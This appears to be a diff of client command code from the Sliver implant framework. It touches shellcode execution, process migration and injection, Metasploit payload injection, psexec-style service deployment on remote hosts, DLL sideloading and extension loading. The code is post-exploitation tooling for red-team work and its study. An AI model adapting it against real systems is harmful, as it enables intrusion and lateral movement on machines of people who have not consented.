if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
@@ -127,13 +103,3 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+12 -36
View File
@@ -29,26 +29,20 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
@@ -67,11 +61,11 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -79,34 +73,16 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
} else {
con.PrintInfof("Executed shellcode on target\n")
return
}
con.PrintInfof("Executed shellcode on target\n")
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -121,21 +97,21 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %v\n", err)
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %v\n", err)
return
}
// Retrieve PID and start remote task
@@ -145,7 +121,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
@@ -154,7 +130,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %v", err)
return
}
+23 -87
View File
@@ -22,122 +22,58 @@ import (
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
Output: !output,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
Output: !output,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
} else if !output {
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
con.PrintInfof("Output:\n%s\n", exec.Result)
}
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
}
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
combined := ""
if stdout == "" {
combined = exec.Stdout
con.PrintInfof("Output:\n%s", exec.Stdout)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, exec.Stderr)
con.PrintInfof("Stderr:\n%s", exec.Stderr)
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
}
}
+2 -2
View File
@@ -26,7 +26,7 @@ import (
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -38,7 +38,7 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
+4 -23
View File
@@ -25,15 +25,13 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -59,8 +57,8 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -72,24 +70,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
}
+2 -2
View File
@@ -31,7 +31,7 @@ import (
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -52,7 +52,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
+10 -10
View File
@@ -21,12 +21,11 @@ package exec
import (
"context"
"fmt"
insecureRand "math/rand"
"math/rand"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -37,14 +36,14 @@ import (
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
@@ -54,9 +53,9 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !settings.IsUserAnAdult(con) {
if !con.IsUserAnAdult() {
return
}
}
@@ -97,7 +96,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -120,7 +119,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -143,7 +142,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
removeChan <- true
<-removeChan
@@ -160,9 +159,10 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
b[i] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}
+6 -34
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -23,20 +20,19 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -55,7 +51,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
@@ -70,38 +66,14 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
+8 -34
View File
@@ -5,20 +5,18 @@ import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"path"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.Get()
if session == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
@@ -38,48 +36,24 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
+13 -30
View File
@@ -11,7 +11,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
@@ -20,7 +19,7 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
privKey []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -52,49 +51,33 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
if commandResp.Response != nil && commandResp.Response.Err != "" {
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
if commandResp.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
}
return
}
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
if commandResp.StdOut != "" {
con.PrintInfof("Output:")
con.Println(commandResp.StdOut)
if commandResp.StdErr != "" {
con.PrintInfof("StdErr")
con.Println(commandResp.StdErr)
}
}
}
+2 -60
View File
@@ -1,62 +1,4 @@
Extensions
====
===========
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
Wraps external DLLs/tool in Sliver console commands.
+240 -364
View File
@@ -1,10 +1,26 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
@@ -12,58 +28,80 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
var commandMap map[string]extension
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extensionFiles struct {
type extFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
type extensionCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
ExtensionFiles []extFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type extension struct {
Name string `json:"extensionName"`
Commands []extensionCommand `json:"extensionCommands"`
Path string
}
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.ExtensionFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
case "x64":
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
default:
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
@@ -72,238 +110,132 @@ func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, tar
return
}
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no extension command found for name %s", name)
return
}
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
if dirPath == "" {
con.PrintErrorf("Please provide an extension path\n")
return
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
// retrieve extension manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
con.PrintErrorf("%s\n", err)
}
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
// parse it
ext := &extension{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
return nil, err
con.PrintErrorf("Error loading extension: %v", err)
return
}
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
ext.Path = dirPath
// for each extension command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
